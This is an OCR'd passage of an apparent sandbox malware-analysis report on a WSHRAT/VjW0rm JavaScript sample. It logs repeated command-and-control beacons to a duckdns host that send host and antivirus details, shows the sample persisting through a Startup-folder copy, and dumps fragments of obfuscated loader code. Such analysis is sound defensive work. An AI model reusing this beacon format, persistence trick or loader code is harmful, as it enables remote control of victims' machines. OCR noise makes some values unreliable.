Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache
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Session ID Source IP Source Port Destination IP  Destination Port Process

12 192.168.2.5 49762 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp LiEpEE Direction Data
transferred
Oct 3, 2022 131 ouT POST /is-ready HTTP/1.1
15:58:56.662533998 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
13 192.168.2.5 49764 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp LiEpiee Direction Data
transferred
Oct 3, 2022 132 ouT POST /is-ready HTTP/1.1
15:59:03.007718086 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
14 192.168.2.5 49767 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp Lispies Direction Data
transferred
Oct 3, 2022 134 ouT POST /is-ready HTTP/1.1
15:59:08.214793921 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender .[false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
15 192.168.2.5 49770 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp Cizpiee Direction Data
transferred
Oct 3, 2022 135 ouT POST /is-ready HTTP/1.1
15:59:13.447659016 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache
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Session ID Source IP Source Port Destination IP  Destination Port Process

16 192.168.2.5 49774 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp LiEpEE Direction Data
transferred
Oct 3, 2022 136 ouT POST /is-ready HTTP/1.1
15:59:18.917860031 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
17 192.168.2.5 49777 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp LiEpiee Direction Data
transferred
Oct 3, 2022 138 ouT POST /is-ready HTTP/1.1
15:59:24.067780018 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
18 192.168.2.5 49779 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp Lispies Direction Data
transferred
Oct 3, 2022 139 ouT POST /is-ready HTTP/1.1
15:59:29.278633118 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender .[false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
19 192.168.2.5 49782 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp Cizpiee Direction Data
transferred
Oct 3, 2022 140 ouT POST /is-ready HTTP/1.1
15:59:34.417510033 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache
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Session ID Source IP Source Port Destination IP  Destination Port Process

2 192.168.2.5 49732 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp LLEpEE Direction Data
transferred
Oct 3, 2022 117 ouT POST /is-ready HTTP/1.1
15:58:03.289655924 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
20 192.168.2.5 49785 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp LiEpiee Direction Data
transferred
Oct 3, 2022 141 ouT POST /is-ready HTTP/1.1
15:59:40.597927094 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
21 192.168.2.5 49789 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp Lispies Direction Data
transferred
Oct 3, 2022 143 ouT POST /is-ready HTTP/1.1
15:59:45.746117115 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
22 192.168.2.5 49792 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp Cizpiee Direction Data
transferred
Oct 3, 2022 144 ouT POST /is-ready HTTP/1.1
15:59:50.918381929 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache
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Session ID Source IP Source Port Destination IP  Destination Port Process

23 192.168.2.5 49795 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp LiEpEE Direction Data
transferred
Oct 3, 2022 146 ouT POST /is-ready HTTP/1.1
15:59:56.411391973 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
24 192.168.2.5 49796 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp LiEpiee Direction Data
transferred
Oct 3, 2022 147 ouT POST /is-ready HTTP/1.1
16:00:01.475367069 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
25 192.168.2.5 49800 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp Lispies Direction Data
transferred
Oct 3, 2022 148 ouT POST /is-ready HTTP/1.1
16:00:06.684129000 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender .[false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
26 192.168.2.5 49803 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp Cizpiee Direction Data
transferred
Oct 3, 2022 149 ouT POST /is-ready HTTP/1.1
16:00:11.895919085 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache
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Session ID Source IP Source Port Destination IP  Destination Port Process

27 192.168.2.5 49806 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp LiEpEE Direction Data
transferred
Oct 3, 2022 151 ouT POST /is-ready HTTP/1.1
16:00:17.051646948 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
3 192.168.2.5 49733 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp LiEpiee Direction Data
transferred
Oct 3, 2022 119 ouT POST /is-ready HTTP/1.1
15:58:08.503396034 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
4 192.168.2.5 49737 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp Lispies Direction Data
transferred
Oct 3, 2022 120 ouT POST /is-ready HTTP/1.1
15:58:13.983128071 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender .[false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
5 192.168.2.5 49740 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp Cizpiee Direction Data
transferred
Oct 3, 2022 121 ouT POST /is-ready HTTP/1.1
15:58:19.149329901 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache
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Session ID Source IP Source Port Destination IP  Destination Port Process

6 192.168.2.5 49743 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp LiEpEE Direction Data
transferred
Oct 3, 2022 123 ouT POST /is-ready HTTP/1.1
15:58:25.510035038 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
7 192.168.2.5 49747 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp LiEpiee Direction Data
transferred
Oct 3, 2022 124 ouT POST /is-ready HTTP/1.1
15:58:30.696047068 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
8 192.168.2.5 49749 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp Lispiee Direction Data
transferred
Oct 3, 2022 126 ouT POST /is-ready HTTP/1.1
15:58:35.892450094 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender .[false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache

Session ID Source IP Source Port Destination IP  Destination Port Process
9 192.168.2.5 49752 109.248.150.138 2022 C:\Windows\System32\wscript.exe
Timestamp Cizpiee Direction Data
transferred
Oct 3, 2022 127 ouT POST /is-ready HTTP/1.1
15:58:41.269692898 Accept: */*
CEST user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender . [false - 3/10/2022|J
avaScript

Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: jbd231.duckdns.org:2022
Content-Length: 0

Connection: Keep-Alive
Cache-Control: no-cache
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Statistics

Behavior

System Behavior

@ wscript.exe
@ wscript.exe
@ wscript.exe
@ wscript.exe
@ wscript.exe
@ wscript.exe
@ wscript.exe
@ wscript.exe
@ wscript.exe
@ wscript.exe
@ wscript.exe
@ wscript.exe
@ wscript.exe

Click to jump to process

Analysis Process: wscript.exe PID: 672, Parent PID: 3324

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

Registry Activities

0
15:5
03/1

6:13
0/2022

C:\Windows\System32\wscript.exe

false

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Order Requirement 2022.js"

0x71f6f06f0000

163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFIC

true

true

C, C++ or other language

.

high

Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000000.00000003.306663834.0000023FB2AA9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000000.00000003.312164849.0000023FB2B5C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000000.00000003.307173276.0000023FB2943000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000000.00000003.306477021.0000023FB35AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000000.00000003.306511935.0000023FB35C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000000.00000003.311353679.0000023FB35E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000000.00000003.307581623.0000023FB294F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000000.00000002.324728490.0000023FB34A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path

Key Path
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Completion

Name Type Data Completion

Count Source Address

Count Source Address

Symbol

Symbol
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Analysis Process: wscript.exe PID: 748, Parent PID: 672

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Created
File Path

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\CeklalTska.js

File Written
File Path

C:\Users\user\AppData\Roaming\ 0
Microsoft\Windows\Start Menu\P
rograms\Startup\CeklalTska.js

1
15:56:21

03/10/2022
C:\Windows\System32\wscript.exe

false

C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\CeklalTska.js

0x7ff6f06f0000

163840 bytes
9A68ADD12EB50DDE7586782C3EBIFFIC
true

true

C, C++ or other language

Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:

00000001.00000002.847480480.00000228B28AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:

00000001.00000003.312910094.00000228B28AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:

00000001.00000003.312853725.00000228B28AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:

00000001.00000003.380177182.00000228B28AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:

00000001.00000002.851874113.00000228B3130000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

high

Access

read data or list
directory | read
attributes |
delete | write dac
| synchronize |
generic read |
generic write

Offset Length Value

34202 0d 0a 2f 2f 20 53 74 72
69 6e 67 20 66 75 6e 63
74 69 6f 6e 20 68 61 73
20 6d 6f 64 69 66 69 65
64 20 46 55 44 43 52 59
50 54 0d 0a 24 35 46 5a
77 4c 50 44 75 4c 6d 68
64 33 74 6f 4e 34 39 7a
3d 66 75 6e 63 74 69 6f
6e 28 6e 29 7b 69 66 20
28 74 79 70 65 6f 66 20
28 24 35 46 5a 77 4c 50
4475 4c 6d 68 64 33 74
6f 4e 34 39 7a 2e 6¢ 69
73 74 5b 6e 5d 29 20 3d
3d 20 22 73 74 72 69 6e
67 22292072657475
72 6e 2024 3546 5a 77
4c 50 44 75 4c 6d 68 64
33 74 6f 4e 34 39 7a 2e
6¢ 69 73 74 5b 6e 5d 2e
7370 6¢ 69 74 28 22 22
292e 726576657273
65 28 29 2e 6a 6f 69 6e
28222229 3b 726574
7572 6e 20 24 35 46 5a
77 4c 50 44 75 4c 6d 68
64 33 74 6f 4e 34 39 7a
2e 6¢ 69 73 74 5b 6e 5d
3b 7d 3b 0d 0a 24 35 46
5a 77 4c 50 44 75 4c 6d
68 64 33 74 6f 4e 34

Copyright Joe Security LLC 2022

Attributes

device

Options Completion Count

sequential only |  success or wait 1 7FFA0955700A

non directory file

Ascii Completion Count Source Address

/I String function has success or wait 1 7FFA0955700A
modified
FUDCRYPT$5FZwLPDuL
mhd3toN49z=function(n)
{if (typeof ($5FZw
LPDuLmhd3toN49z.list[n]
) == "string") return
$5FZwLPDuLmhd3t
oN49z list[n].split("").reve
rse().join("");return
$5FZwLPDuL
mhd3toN49z list[n];};$5F
ZwLPDuLmhd3toN4

Source Address

Symbol

CopyFileW

Symbol

CopyFileW
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File Path Offset Length Completion Count Source Address Symbol

Registry Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Name Type Data Completion Count Source Address Symbol

Analysis Process: wscript.exe PID: 2332, Parent PID: 672

General

Target ID: 2

Start time: 15:56:22

Start date: 03/10/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\wscript.exe" /B "C:\Users\user\AppData\Roaming\Order Requirement 2022.js
Imagebase: 0x7ff6f06f0000

File size: 163840 bytes

MD5 hash: 9A68ADD12EB50DDE7586782C3EBIFFIC

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000002.00000003.346293587.0000025291B28000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000002.00000003.346110513.0000025291AEA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000002.00000003.345846246.0000025291B08000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000002.00000002.870934692.00000252913C0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000002.00000002.857351439.0000025290FE0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000002.00000003.347539680.0000025290E23000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000002.00000002.878368097.0000025291B0C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000002.00000003.346359959.0000025290FB6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000002.00000003.346253406.0000025291AFF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000002.00000003.347965187.0000025290E30000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000002.00000002.889666132.0000025291B7B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000002.00000002.839366000.0000025290DE0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Yara matches:

Reputation: high

File Activities

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start ' read data or list ~ device sequential only |  success or wait 35 7FFA0955700A CopyFileW
Menu\Programs\Startup\Order Requirement directory | synchronous io
2022.js\:Zone.|dentifier:$DATA synchronize | non alert

generic write
File Written
File Path Offset Length Value Ascii Completion Count Source Address Symbol
unknown 0 39 75 6e 6b 6e 6f 77 6e unknown success or wait 87 7FFAQ0954E70B WriteFile
unknown 39 2 75 6e 6b 6e 6f 77 6e unknown success or wait 87 7FFAQ0954E70B WriteFile
unknown 41 10 75 6e 6b 6e 6f 77 6e unknown success or wait 13 7FFAQ0954E70B WriteFile
unknown 51 2 75 6e 6b 6e 6f 77 6e unknown success or wait 13 7FFA0954E70B WriteFile
unknown 53 48 75 6e 6b 6e 6f 77 6e unknown success or wait 1020  7FFA0954E70B WriteFile
unknown 101 2 75 6e 6b 6e 6f 77 6e unknown success or wait 1020  7FFA0954E70B WriteFile
unknown 6617 14 75 6e 6b 6e 6f 77 6e unknown success or wait 22 7FFA0954E70B WriteFile
unknown 6631 2 75 6e 6b 6e 6f 77 6e unknown success or wait 22 7FFA0954E70B WriteFile
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File Path Offset Length
unknown 6633 11
unknown 6644 2
unknown 6646 13
unknown 6659 2
unknown 54936 20
unknown 54956 2
C:\Users\user\AppData\Roaming\ 0 129780
Microsoft\Windows\Start Menu\P

rograms\Startup\Order Requirement

2022 js

C:\Users\user\AppData\Roaming\ 0 26

Microsoft\Windows\Start Menu\P
rograms\Startup\Order Requirement
2022 js:Zone.ldentifier

File Path

Value

75 6e 6b 6e 6f 77 6e
75 6e 6b 6e 6f 77 6e
75 6e 6b 6e 6f 77 6e
75 6e 6b 6e 6f 77 6e
75 6e 6b 6e 6f 77 6e
75 6e 6b 6e 6f 77 6e

0a 20 20 66 75 6e 63 74
69 6f 6e 20 6a 62 78 6¢

6f 67 28 29 20 7b Oa 20

20202076 61722073
7472 20 3d 20 22 22 3b
20 0a 20 20 20 20 74 72
7920 0a 20 20 20 20 7b
0a 20 20 20 20 20 20 66
6f 7220 28 20 76 61 72

20 69 20 3d 20 30 20 3b
2069 20 3¢ 20 61 72 67
75 6d 65 6e 74 73 2e 6¢
65 6e 67 74 68 20 3b 20
69 20 2b 2b 20 29 0a 20
2020202020 20 20 7b
0a 20 20 20 20 20 20 20
20202076 61 7220 61
72 67 4b 65 79 20 3d 20
6172 67 75 6d 65 6e 74
73 5b 69 5d 5b 30 5d 3b
20 0a 20 20 20 20 20 20
2020202076 617220
617267 56 61 6¢ 75 65
20 3d 20 61 72 67 75 6d
65 6e 74 73 5b 69 5d 5b
31 5d 3b 20 0a 20 20 20
2020 20 20 20 20 20 76
6172207374723220
3d 20 22 22 3b 20 0a 20
2020 20 20 20 20 20 20
20 7b 0a 20 20 20 20 20
2020 20 20 20 20 20

5b 5a 6f 6e 65 54 72 61

6e 73 66 65 72 5d 0d 0a
0d Oa 5a 6f 6e 65 49 64
3d 30

Offset

Analysis Process: wscript.exe PID: 1248, Parent PID: 3324

General

Target ID: 3

Start time: 15:56:31

Start date: 03/10/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline:

Imagebase: 0x7ff6f06f0000

File size: 163840 bytes

MD5 hash: 9A68ADD12EB50DDE7586782C3EBIFFIC
Has elevated privileges: false

Has administrator false

privileges:

Programmed in: C, C++ or other language

Copyright Joe Security LLC 2022

Ascii

unknown
unknown
unknown
unknown
unknown
unknown

function jbxlog() { var
str="" try { for(
vari=0;i<arguments.
length ;i ++) {
var argKey =
argumentsi][0];
var argValue = a
rgumentsl[i][1]; var
str2 =""; {

[ZoneTransfer]Zoneld=0

Length

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

success or wait

Completion

C:\Windows\system32\wscript.exe" /B "C:\Users\user\AppData\Roaming\Order Requirement 2022.js

Count
84

84

40

40

4

4

35

35

Count

Source Address
7FFA0954E70B
7FFA0954E70B
7FFA0954E70B
7FFA0954E70B
7FFA0954E70B
7FFA0954E70B
7FFA0955700A

7FFA0955700A

Source Address

Symbol
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
CopyFileW

CopyFileW

Symbol
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Yara matches:

Reputation: high

File Activities

File Created
File Path

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start

Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000003.00000003.359362375.0000020CC9D9D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000003.00000003.365466857.0000020CC9121000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000003.00000003.362775717.0000020CC9DC5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000003.00000003.359178897.0000020CC9DA7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000003.00000003.360228659.0000020CC9120000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000003.00000003.364188132.0000020CC934C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000003.00000003.359292280.0000020CC9D8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000003.00000003.360037491.0000020CC9113000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000003.00000003.359409394.0000020CC92A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000003.00000002.380509963.0000020CC9C80000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Menu\Programs\Startup\Order Requirement

2022.js\:Zone.ldentifier:$DATA

File Written
File Path
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown
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Access Attributes

read data or list  device

directory |

synchronize |

generic write
Offset Length Value Ascii
0 39 75 6e 6b 6e 6f 77 6e unknown
39 2 75 6e 6b 6e 6f 77 6e unknown
41 10 75 6e 6b 6e 6f 77 6e unknown
51 2 75 6e 6b 6e 6f 77 6e unknown
53 48 75 6e 6b 6e 6f 77 6e unknown
101 2 75 6e 6b 6e 6f 77 6e unknown
6617 14 75 6e 6b 6e 6f 77 6e unknown
6631 2 75 6e 6b 6e 6f 77 6e unknown
6633 11 75 6e 6b 6e 6f 77 6e unknown
